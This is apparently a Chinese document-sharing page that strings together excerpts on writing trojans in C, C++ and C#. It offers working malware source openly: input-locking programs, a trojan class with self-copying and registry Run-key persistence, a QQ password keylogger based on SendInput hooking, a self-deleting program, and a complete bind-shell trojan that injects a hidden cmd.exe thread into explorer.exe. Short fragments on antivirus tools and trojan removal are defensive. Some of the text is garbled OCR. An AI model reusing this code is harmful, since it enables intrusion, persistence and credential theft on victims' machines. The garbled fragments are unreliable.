用C语言编写木马病毒
木马编写技巧
![木马编写技巧](https://img.taocdn.com/s3/m/1fec091303020740be1e650e52ea551810a6c9b1.png)
木马编写技巧1.锁定鼠标:这个函数非常简单。
只有一个clipcursor()可以处理它。
看看下面的小程序[CPP]viewplaincopyprint?1.#include2.#include3.intmain(intargc,char*argv[])4。
{5.printf(\别害怕15妙后你的鼠标就可以使用了^_^\\n\6.rectrect;7.rect。
底部=1;8.rect。
右=1;9.clipcursor(&rect);10.::sleep(15000);11.clipcursor(空);//释放12返回0;13.}注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处rect是一个结构,表示锁定的范围我们通常只用bottom和right两个域2.锁定键盘:锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要dll也省了[cpp]查看纯拷贝?1.#include2.#include3//处理关键信息的处理功能4.lresultcallbackkeyproc(intcode,5.wparamwparam,6.lparamlparam)7.{8.返回1;//返回1会阻止键盘响应9。
}10.main(intargc,char*argv[])11.{12.十三14.setwindowshookex(wh_keyboard,keyproc,getmodulehandle(null),0);// 安装键盘挂钩15.printf(\程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作\\n\16.::睡眠(15000);17.}注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无dll的关键就在于getmodulehandle(null),getmodulehandle()参数为null得到的是调用者本身的模块句柄,也就是说用程序本身作为dll。
VisualC++很简单的木马代码
![VisualC++很简单的木马代码](https://img.taocdn.com/s3/m/f8f4510fcec789eb172ded630b1c59eef9c79a4b.png)
VisualC++很简单的木马代码Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了.本代码已封装成类方便代码重用:1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能.交流class CTrojanHorse{public://add codepublic://add codeCTrojanHorse();~CTrojanHorse();protected://add codeBOOL IfShell(CString BeKissPrcName);BOOL CopyFileaddr(CString m_CopyFile);void ShellFile(CString m_ShellFile);BOOL SetAutoRun(CString strPath);void ShutDown();private://add code};CTrojanHorse::CTrojanHorse(){//add code}CTrojanHorse::~CTrojanHorse(){//add code}BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判断程序是否在运行{CString str,a,prcnum;// CMainFrame *pDlg=(CMainFrame *)lparam;//AfxMessageBox(pDlg->BeKissPrcName);HANDLESnapShot=CreateT oolhelp32Snapshot(TH32CS_SNAPPROCESS,0 );SHFILEINFO shSmall;PROCESSENTRY32 ProcessInfo;//声明进程信息变量ProcessInfo.dwSize=sizeof(ProcessInfo);//设置ProcessInfo的大小//返回系统中第一个进程的信息BOOL Status=Process32First(SnapShot,&ProcessInfo);int m_nProcess=0;int num=0;while(Status){ num++;m_nProcess++;ZeroMemory(&shSmall,sizeof(shSmall));//获取进程文件信息SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall,sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON);//str.Format("%08x",ProcessInfo.th32ProcessID);str=ProcessInfo.szExeFile;if(str==BeKissPrcName){AfxMessageBox("找到进程成功!");return true;}//获取下一个进程的信息Status=Process32Next(SnapShot,&ProcessInfo);}AfxMessageBox("失败!");return false;}BOOL CTrojanHorse::CopyFileaddr(CString m_CopyFile)//复制文件{char pBuf[MAX_PATH];CString m_addr;// CString m_strSrcFile1="D:/OperateFile.exe";// CString m_addr="D:/SVCLSV.exe"; //存放路径的变量GetCurrentDirectory(MAX_PATH,pBuf); //获取程序的当前目录strcat(pBuf,"\\");strcat(pBuf,AfxGetApp()->m_pszExeName);strcat(pBuf,".exe");m_addr=pBuf;if(CopyFile(m_addr,m_CopyFile,FALSE)){AfxMessageBox("复制成功!");return true;}return false;}void CTrojanHorse::ShellFile(CString m_ShellFile)//执行所要的程序{ShellExecute(NULL,"open",m_ShellFile,NULL,NULL,SW_SHO WNORMAL);}BOOL CTrojanHorse::SetAutoRun(CString strPath)//修改注册表{CString str;HKEY hRegKey;BOOL bResult;str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Ru n");if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS)bResult=FALSE;else{_splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBufferSetL ength(MAX_PATH+1),NULL);strPath.ReleaseBuffer();str.ReleaseBuffer();if(::RegSetValueEx( hRegKey,str,0,REG_SZ,(CONST BYTE *)strPath.GetBuffer(0),strPath.GetLength() ) != ERROR_SUCCESS)bResult=FALSE;elsebResult=TRUE;strPath.ReleaseBuffer();}return bResult;}void CTrojanHorse::ShutDown()//重新启动计算机{if (IDYES == MessageBox("是否现在重新启动计算机?", "注册表提示", MB_YESNO)){OSVERSIONINFO OsVerInfo; //保存系统版本信息的数据结构OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&OsVerInfo);//取得系统的版本信息CString str1 = "", str2 = "";str1.Format("你的系统信息\n版本为:%d.%d\n", OsVerInfo.dwMajorVersion,OsVerInfo.dwMinorVersion);str2.Format("型号:%d\n", OsVerInfo.dwBuildNumber);str1 += str2;AfxMessageBox(str1);if(OsVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); //重新启动计算机}}。
基于VC的一种木马的设计
![基于VC的一种木马的设计](https://img.taocdn.com/s3/m/fc7ec563561252d380eb6ea5.png)
r sa t g a d c o i gwi e c n r l d c mp tr t i d n a d o e et s b ec n r l dc mp tr o e d n e t r n n lsn t t o t l o u e , oh d e n p n t k a t t o tol o u e rs n i g i h h oe h a r oh e f
o t i h u ci n fb sc if r t n o e r moe c n r l d c mp tra o k d i u e a d k y o r , a el d b an t ef n to so a i n o mai ft e t o to l o u e nd lc e t mo s e b a d c nc le o h e s n
和服务端通信如图 1 所示 。
发起连接 端 口监 听
在文本框 中如图 2 所示 。 当 Cin 接收到 Sre 返 回的系统信息 和进程信 息以后 , l t e evr 单击 C et 面 的清 除信息 按钮 就可 以清除掉 文本 框 中的信 ln上 i 息 。本功能不需要要 Sre 和 C et e r v i l n 进行通信 ,l n 通过调用 c et i
h g s e ,nw ih te r a n e ak r o t e iey sd icu e e t ra t ntokscry u e l i hc ,h o ni oeot c e’t lo d l ue ,t a sdag a t eto e r ui . aw l T j s fh h So b w r h w e t
成员 函数 C l n l:O Cen ( f Ci t g : n l eD a )l中的 函数 C l nDg : n Ci tl:O — e Cen )就 可以实现 。 l (f a l 注销 、重启和关机这 三个 功能都是调用 E i n o s x xWidw E 函 t
VC 编写精小反弹穿墙木马
![VC 编写精小反弹穿墙木马](https://img.taocdn.com/s3/m/51f2bf1fa2161479171128dc.png)
适合读者:编程爱好者、木马爱好者前置知识:VCVC编写精小反弹穿墙木马文/ 荔明奇(xgym)现在的木马满天飞,比较出名和认可的要数灰鸽子和PCS hare了,但这些软件免不了被杀毒软件厂商盯得严严实实,一般都要辛辛苦苦的做免杀。
大家都知道,免杀只是相对的,我们可以通过修改特征码、修改入口点、加花指令、加壳等手段去加密我们的小马,但这些都是有局限性的,毕竟我们只能修改相对比较出名的杀毒软件的病毒码,如卡巴斯基、NOD 等,并不能保证我们的木马不被其他的杀毒软件所识别。
为了做到万无一失,最好的方法就是自己写木马。
说到自己写木马,网上的程序还真多,但究竟哪个适合自己呢?其实木马的最初面目就是后门,只要实现最必要的功能就可以了,如果能得到被控制端的Shell,基本上其他的任何资源都可以获取到了。
也就是说,我们只需要实现一个可能控制对方的DOS或CMD的功能就完全可以了。
当然,实现一个控制端可以控制无限个服务端,能自动上线就更好了,还有比如穿透防火墙、插入进程IE、自动启动之类的也都能实现,也就可以称得上是一个完整的小马了。
那么,怎样去编写一个完整的小马呢?好像没有什么动画和文章专门去描述或讲解一个完整的过程,最多也就是写一个小功能或一部分功能之类的,或者干脆放上源代码算了(自己看吧,才不管你是否看得懂呢)。
OK,下面我给大家带来的小马的编写过程就完全可以满足上面的需求,打造一个自己的版本完全不是梦了,呵呵。
首先是编程工具的选择。
目前流行的开发工具有C++Builder、Delphi、VB和VC。
C++Builder很不错,而且不复杂,适合新手;Delphi更好,网上Delphi木马程序非常多;VB我不推荐,其编写的服务端需要类库,而且编译出的软件也比较大;VC则强烈推荐,虽然VC比较复杂,代码写的相对比较多,但是VC编译出的软件非常精巧,而且运行效率非常高。
所以我们的开发工具就是VC,毕竟我们要写的软件功能不复杂,而且需要精小,运行效率要求高。
用C#实现木马程序
![用C#实现木马程序](https://img.taocdn.com/s3/m/01355fea5ef7ba0d4a733bae.png)
用C#实现木马程序本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。
控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。
技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求使用了.NET类中的.Sockets.TcpClient类,TcpClient(string hostname,int port)Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类private void button7_Click(object sender, System.EventArgs e){//记录操作,在richTextBox控件中增加操作信息richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");int port =6678;try{//初始化TcpClient 类的新实例并连接到指定主机上的指定端口client = new TcpClient(textBox1.Text,port);}catch{MessageBox.Show("服务器不在线!确定是否输入主机名称.");richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");}}//private void buttion2、测试是否与被控制机连接上。
c#编写病毒专杀工具(一)
![c#编写病毒专杀工具(一)](https://img.taocdn.com/s3/m/8921871003020740be1e650e52ea551810a6c944.png)
c#编写病毒专杀⼯具(⼀)如今病毒⽊马蠕⾍层出不穷,变种也是⼀个接⼀个。
反病毒公司以及各⼤安全公司随着影响很⼤的病毒的出现都会免费提供病毒专杀⼯具,这个举措对普通⽤户来说确实很有帮助。
其实写病毒专杀⼯具也不像⼤家想象的那么神秘,利⽤SDK写个控制台程序来实现病毒专杀,因⽆须写图形界⾯,所以简便快捷!你⾃⼰也能写!不信?就接着看吧废话不说了,接下来就开始谈谈病毒专杀⼯具的思路及实现⽅法。
此⽂中讲解的病毒专杀⼯具是针对⽊马、蠕⾍等独⽴的程序⽽⾔的⼴义的病毒⽽⾔,⽽不是指那种⾃我复制感染PE⽂件的依附于其他程序的那种狭义的病毒。
因为写那种病毒的专杀⼯具需要PE⽂件结构等知识,相对⽽⾔有点难度,所以我们就先从相对简单点的开始,难的以后再介绍。
对于⼤多数病毒⽽⾔,杀毒的思路其实很简单,那就是:终⽌病毒的进程、删除⾃启动项⽬(⼀般在注册表中的run*主键下)、删除病毒⽂件,对设置了⽂件关联的病毒⽽⾔还要修改注册表恢复⽂件关联。
下⾯将分别陈述。
⼀.终⽌进程以前⽹上曾有许多朋友问我怎么根据⽂件名终⽌指定进程,为什么使⽤函数TerminateProcess()不能直接终⽌指定进程。
⾸先让我们来看看函数 TerminateProcess()的声明吧:Bool TerminateProcess(HANDLE hPeocess,UINT uExitCode),其中第⼀个参数为进程句柄,⽽不是进程名称(⽂件名)。
那怎样才能获得指定进程的句柄呢?我们可以使⽤函数 OpenProcess(),其原型为HANDLE OpenProcess(DWORD dwDesiredAccess, // 访问标志BOOL bInheritHandle, // 处理继承的标志DWORD dwProcessId // 进程标识号,即进程ID);最后⼀个参数就是该进程的ID,进程句柄和进程ID是两回事,这时你可能很郁闷:怎么知道进程ID呢?⽅法当然有啦!在Windows9X/2000 /XP/2003中,微软均提供了⽤来枚举进程的ToolHelp API系列函数。
用C++编写木马全过程
![用C++编写木马全过程](https://img.taocdn.com/s3/m/91b2746427d3240c8447efcc.png)
int file_name=atoi((temp.SubString(11,1)).c_str());
将第11个字符转换成integer型,存入file_name变量
为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'n').c_str();
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
得到操作系统的版本号
if (dwVersion = 0x80000000)
操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
用C++编写木马全过程
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈难道你还给受害者传一个1兆多的动态链接库Msvbvm60.dll吗?
定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
c语言木马源代码教程 (扫盲 进阶 深度剖析)(参考优选)
![c语言木马源代码教程 (扫盲 进阶 深度剖析)(参考优选)](https://img.taocdn.com/s3/m/7a28781ccf84b9d528ea7a8d.png)
目录一. 疱丁解马-木马查杀深度剖析之扫盲篇 (1)二. 疱丁解马-木马查杀深度剖析之进程篇(一) (3)三. 疱丁解马-木马查杀深度剖析之进程篇(二) (7)四. 疱丁解马-木马查杀深度剖析之进程篇(三) (12)五. 疱丁解马-木马查杀深度剖析之进程篇(四) (18)六. 疱丁解马-木马查杀深度剖析之自启动项篇(一) (24)七. 疱丁解马-木马查杀深度培析之自启动项篇(二) (30)八. 疱丁解马-木马查杀深度培析之自启动项篇(三) (35)九. 疱丁解马-木马查杀深度培析之自启动项篇(四) (41)十. 疱丁解马-木马查杀深度剖析之文件篇(一) (46)十一.疱丁解马-木马查杀深度剖析之文件篇(二) (52)十二.疱丁解马-木马查杀深度剖析之文件篇(三) (61)疱丁解马-木马查杀深度剖析之扫盲篇一、前言在进入正文之前呢,容我先说几句废话。
在写此文之前,我曾写过一篇“高级木马的自我保护技术与查杀之策”,承蒙各位朋友的厚爱,被各网站所转载,亦曾有许多朋友来信求助。
由于该文是心血来潮后的随笔所写,所以并没有经过深思熟虑,也并没有脉络可循,至使有的朋友能看懂,有的却看不懂。
而看得懂的呢,亦有很大一部分并不能真正的应用文中所提的查杀技巧。
故一直有心再写一篇文章,帮助深受木马毒害的朋友们了解木马是什么,又如何查杀。
本文适于下列人员阅读:能熟练使用计算机的人想自己动手解决问题的人钱没有多到电脑一出问题就扔到电脑修理公司的人适于下列人员参考:电脑维修人员微机管理人员安全相关的程序开发人员本文所要达到的目的是:让菜鸟也可以了解系统安全自己来动手查毒杀马,由求助者变为帮助它人者。
在杀毒软件无能为力的情况下,借助本文的知识让你仍然能借助工具完成清理查杀的任务。
让您真正的明白一些看似神秘的、高深莫测的专用术语与技术的内幕。
让您了解Windows系统的底层知识。
本文以手动查杀为主,辅以必要的工具,文中用到的工具与测试用的仿木马小程序都提供了下载地址,供朋友们下载试用。
C语言写病毒,木马
![C语言写病毒,木马](https://img.taocdn.com/s3/m/afcc11eabb0d4a7302768e9951e79b8968026811.png)
C语言写病毒,木马以前在网吧花了大投资的游戏账号被心痛的盗过一次,于是到了大学就傻逼傻逼的想写病毒,木马,出出风头,然后到处到处搜索,相关方法,以为这样就能写出病毒木马。
一直持续到前段日子,偶尔看到一本关于杀毒软件是怎么查杀木马的资料,才知晓自己当时的做法是多么的愚蠢,当时想到的一些方法,很多年前都被人想到了。
看到的资料是也是前几年的。
你说防病毒的书都不看还怎么写病毒。
目前还是老实的学习吧,计算机是一门发展飞速的技术,以前我们只要学一点就能耀武扬威。
现在这法子行不通了。
大学课堂上的教材落后于外面技术发展5年。
大家还是多去图书馆看点实在的书吧。
技术不是艺术。
光有天赋是远远不够的。
病毒的特征,windows中的autorun.inf 能自动运行以任意方式执行文件shellexecute命令Autorun的免疫程序可以防止inf再次被其他文件修改利用外面的脚本语言给定的参数选择性运行程序的某种方案(例如.dos.shell.bat,autorun.inf......)利用new,进程ID,read,write,和。
利用把exe变成rc文件用vc打开import 你想要的应用程序ico图标文件领悟了一点晚上回去补上貌似改变当前程序运行的工作目录,就可以对自己进行自我删除这就是传说中的自我销毁?待测试#include <stdio.h>#include <direct.h>#include <windows.h>#include <string.h>int main(int argc,char *argv[]){char pwd[40]="del ";chdir("c:\\");strcat(pwd,argv[0]);system(pwd);return 0;}linux中有这么一句话:在进程运行过程中,当前目录所在的文件系统是不能卸载的,,,如何理解??待解决?跟自我销毁有什么关系?在linux中的这段代码红色部分不会执行,??为何?rm 到底删除的是什么?我们把中的rm改成其他命令下面的也不会运行看来这是exec函数族的机制问题,待考证#include<stdio.h>#include<unistd.h>int main(int argc,char *argv[]){if( execlp("rm","rm",argv[0],NULL) < 0){perror("execlp error:");}else fprintf(stdout,"delmyself success!\n");printf("del success\n");return 0;}试验证明这段代码调试能过但运行会出错/ 显示。
恶意代码分析实例
![恶意代码分析实例](https://img.taocdn.com/s3/m/cc8351a1846a561252d380eb6294dd88d0d23dbc.png)
恶意代码分析实例恶意代码是指一种被设计用来破坏计算机系统、窃取用户信息或者进行其他恶意活动的软件程序。
恶意代码常常被隐藏在各种形式的文件中,用户无法察觉其存在。
本文将展示两个常见的恶意代码分析实例。
实例一:病毒病毒是一种能够自我复制并传播的恶意代码。
以下是一个常见的病毒代码示例:```c#include <iostream>#include <fstream>int maistd::ifstream in("virus.cpp");std::ofstream out("virus_copy.cpp");std::string line;while (std::getline(in, line))out << line << std::endl;}in.close(;out.close(;system("g++ virus_copy.cpp -o virus_copy");system("./virus_copy");return 0;```这个代码看起来像是一个简单的文件复制程序。
然而,实际上它会把自己复制为一个名为“virus_copy.cpp”的文件,并将其编译成一个同名的可执行文件。
而在复制的过程中,病毒代码可能还会执行其他恶意操作,例如删除文件、损坏系统等。
实例二:木马木马是一种伪装成有用程序的恶意代码,通常通过社工手段欺骗用户去运行。
以下是一个木马代码示例:```c#include <iostream>#include <fstream>int maistd::cout << "请输入您的银行卡号:" << std::endl;std::string card_number;std::cin >> card_number;std::ofstream out("log.txt", std::ios::app);out << "银行卡号:" << card_number << std::endl;out.close(;std::cout << "支付成功!" << std::endl;return 0;```这个代码看起来是一个简单的支付程序,要求用户输入银行卡号并告知支付成功。
一个简单木马的源代码
![一个简单木马的源代码](https://img.taocdn.com/s3/m/b9f31b2d2af90242a895e5fb.png)
代码没给大家讲解,不知道看懂没。
所以,现在我原理给大家说一下,腾讯QQ 安装了两个钩子一个是WH_DEBUG,还有一个是WH_KEYBOARD_LL,当QQ的密码框获得焦点的时候DEBUG钩子就开始用SendInput发送乱码,在QQ启动的时候也会先调用SendInput发送一个乱码,所以就挂钩SendInput 这个函数,我们正确安装按键的时候QQ会通过WH_KERBOARD_LL低级钩子,发送一个错误的按键信息,在这里通过分析,发现在WIN7系统上真实的按键的就在0x12faa0处记录着,挂钩之后判断一下来源,if(nRetAddress!=0x74F3&&nRetAddress!=0x7374) ,就排除不是真实按键调用的,当然上面这句我们是WIn7上的地址,所有有朋友说,在XP上不行,由于我是WIN7的系统,还没装XP的虚拟机,所以并没添加这个判断,传进来的pInputs等我们基本上就不用去管他,然后通过if(pInputs->ki.dwFlags==0)判断是否是键盘按下,如果是按下,我们就开始记录。
DWORD nRetAddress=0;_asm{mov eax,0mov ax,[ebp+4]mov nRetAddress,eax}if(nRetAddress!=0x74F3&&nRetAddress!=0x7374)这就是取得是什么地方在调用SendInput.char key=0;_asm{mov ebx,0x12faa0mov eax,0mov al,[ebx]mov key,al}获取真实的按键,稍后我换上XP系统后,会将这个几个关键西方的发出,大家就可以在XP上也能使用这个木马了。
有人会问为什么我的文件是User32Hook.cpp 实际挂钩的是SendInput,这个是因为,我用OD分析的时候发现在User32.dll 中有一个固定地址通过[ebp+c]之后也可以获取到键盘按下的真实按键信息,只要挂钩在那里,也是可以获得真确的按键信息,然后写出木马,并且可以早于QQ的WH_KEYBOARD_LL钩子获取真实按键,就算QQ在WH_KEYBOARD_LL把WIN7下地址为0x12faa0的真实按键信息清0,也是没有用的,兴趣的朋友,就在WH_KEYBOARD_LL上下段,然后往上跟就会看到了。
C语言编写的木马程序(源代码附上)
![C语言编写的木马程序(源代码附上)](https://img.taocdn.com/s3/m/4a0fca1b3868011ca300a6c30c2259010202f339.png)
C语言编写的木马程序(源代码附上)#include#pragma comment(lib,"ws2_32.lib")#include#include#pragma comment(lib,"Shlwapi.lib")#include#include#include//参数结构;typedef struct _RemotePara{DWORD dwLoadLibrary;DWORD dwFreeLibrary;DWORD dwGetProcAddress;DWORD dwGetModuleHandle;DWORD dwWSAStartup;DWORD dwSocket;DWORD dwhtons;DWORD dwbind;DWORD dwlisten;DWORD dwaccept;DWORD dwsend;DWORD dwrecv;DWORD dwclosesocket;DWORD dwCreateProcessA;DWORD dwPeekNamedPipe;DWORD dwWriteFile;DWORD dwReadFile;DWORD dwCloseHandle;DWORD dwCreatePipe;DWORD dwTerminateProcess;DWORD dwMessageBox;char strMessageBox[12];char winsockDll[16];char cmd[10];char Buff[4096];char telnetmsg[60];}RemotePara;// 提升应用级调试权限BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);// 根据进程名称得到进程IDDWORD GetPidByName(char *szName);// 远程线程执行体DWORD __stdcall ThreadProc(RemotePara *Para){WSADATA WSAData;WORD nVersion;SOCKET listenSocket;SOCKET clientSocket;struct sockaddr_in server_addr;struct sockaddr_in client_addr;int iAddrSize = sizeof(client_addr);SECURITY_ATTRIBUTES sa;HANDLE hReadPipe1;HANDLE hWritePipe1;HANDLE hReadPipe2;HANDLE hWritePipe2;STARTUPINFO si;PROCESS_INFORMA TION ProcessInformation;unsigned long lBytesRead = 0;typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR); typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE ); typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);FARPROC PMessageBoxA;FARPROC PWSAStartup;FARPROC PSocket;FARPROC Phtons;FARPROC Pbind;FARPROC Plisten;FARPROC Paccept;FARPROC Psend;FARPROC Precv;FARPROC Pclosesocket;FARPROC PCreateProcessA;FARPROC PPeekNamedPipe;FARPROC PWriteFile;FARPROC PReadFile;FARPROC PCloseHandle;FARPROC PCreatePipe;FARPROC PTerminateProcess;PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary; PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress; PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwFreeLibrary;PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle; LoadLibraryFunc(Para->winsockDll);PWSAStartup = (FARPROC)Para->dwWSAStartup;PSocket = (FARPROC)Para->dwSocket;Phtons = (FARPROC)Para->dwhtons;Pbind = (FARPROC)Para->dwbind;Plisten = (FARPROC)Para->dwlisten;Paccept = (FARPROC)Para->dwaccept;Psend = (FARPROC)Para->dwsend;Precv = (FARPROC)Para->dwrecv;Pclosesocket = (FARPROC)Para->dwclosesocket;PCreateProcessA = (FARPROC)Para->dwCreateProcessA;PPeekNamedPipe = (FARPROC)Para->dwPeekNamedPipe;PWriteFile = (FARPROC)Para->dwWriteFile;PReadFile = (FARPROC)Para->dwReadFile;PCloseHandle = (FARPROC)Para->dwCloseHandle;PCreatePipe = (FARPROC)Para->dwCreatePipe;PTerminateProcess = (FARPROC)Para->dwTerminateProcess;PMessageBoxA = (FARPROC)Para->dwMessageBox;nVersion = MAKEWORD(2,1);PWSAStartup(nVersion, (LPWSADATA)&WSAData);listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);if(listenSocket == INV ALID_SOCKET)return 0;server_addr.sin_family = AF_INET;server_addr.sin_port = Phtons((unsigned short)(8129));server_addr.sin_addr.s_addr = INADDR_ANY;if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0; if(Plisten(listenSocket, 5))return 0;clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize);// Psend(clientSocket, Para->telnetmsg, 60, 0);if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.hStdInput = hReadPipe2;si.hStdOutput = si.hStdError = hWritePipe1;if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL, NULL,&si,&ProcessInformatio n))return 0;while(1) {memset(Para->Buff,0,4096);PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead ,0,0);if(lBytesRead) {if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break;if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;}else {lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0);if(lBytesRead <=0 ) break;if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;}}PCloseHandle(hWritePipe2);PCloseHandle(hReadPipe1);PCloseHandle(hReadPipe2);PCloseHandle(hWritePipe1);Pclosesocket(listenSocket);Pclosesocket(clientSocket);// PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);return 0;}int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){const DWORD THREADSIZE=1024*4;DWORD byte_write;void *pRemoteThread;HANDLE hToken,hRemoteProcess,hThread;HINSTANCE hKernel,hUser32,hSock;RemotePara myRemotePara,*pRemotePara;DWORD pID;OpenProcessT oken(GetCurrentProcess(),TOKEN_ADJUST_PRI VILEGES,&hToken);EnablePrivilege(hT oken,SE_DEBUG_NAME,TRUE);// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESSpID = GetPidByName("EXPLORER.EXE");if(pID == 0)return 0;hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);if(!hRemoteProcess)return 0;// 在远程进程地址空间分配虚拟内存pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);if(!pRemoteThread)return 0;// 将线程执行体ThreadProc写入远程进程if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;ZeroMemory(&myRemotePara,sizeof(RemotePara));hKernel = LoadLibrary( "kernel32.dll");myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA"); myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary"); myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress"); myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA"); myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile"); myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile"); myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle"); myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe"); myRemotePara.dwTerminateProcess =(DWORD)GetProcAddress(hKernel, "TerminateProcess");hSock = LoadLibrary("wsock32.dll");myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup"); myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket"); myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons"); myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind"); myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept"); myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv"); myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send"); myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");hUser32 = LoadLibrary("user32.dll");myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");strcat(myRemotePara.strMessageBox,"Sucess!\\0");strcat(myRemotePara.winsockDll,"wsock32.dll\\0");strcat(myRemotePara.cmd,"cmd.exe\\0");strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0");//写进目标进程pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_RE ADWRITE);if(!pRemotePara)return 0;if(!WriteProcessMemory(hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;// 启动线程hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);while(1) {}FreeLibrary(hKernel);FreeLibrary(hSock);FreeLibrary(hUser32);CloseHandle(hRemoteProcess);CloseHandle(hT oken);return 0;}BOOL EnablePrivilege(HANDLE 